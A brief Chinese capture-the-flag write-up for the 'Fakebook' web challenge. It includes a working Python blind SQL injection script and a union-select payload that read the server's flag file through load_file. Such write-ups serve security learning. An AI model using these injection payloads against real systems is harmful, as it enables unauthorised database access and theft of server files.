刷題記錄:[網鼎杯]Fakebook
題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:解網鼎杯一道web題(fakebook)
一、涉及知識點
1、敏感文件泄露
訪問robots.txt可以得到源碼的備份地址
2、sql注入
常規注入,不說了
二、解題方法
這道題比較簡單,我靠非預期解做出來了,題目沒過濾load_file
,可以直接從get注入點盲注出來,貼上腳本
import requests
url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
response = requests.get(url + payload)
if 'www.123.com' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
看了預期解的wp,才知道有源碼泄露,最后要利用反序列化和ssrf和file協議讀取文件。。。
傻傻的想起來直接訪問/view.php?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1
就可以拿到flag了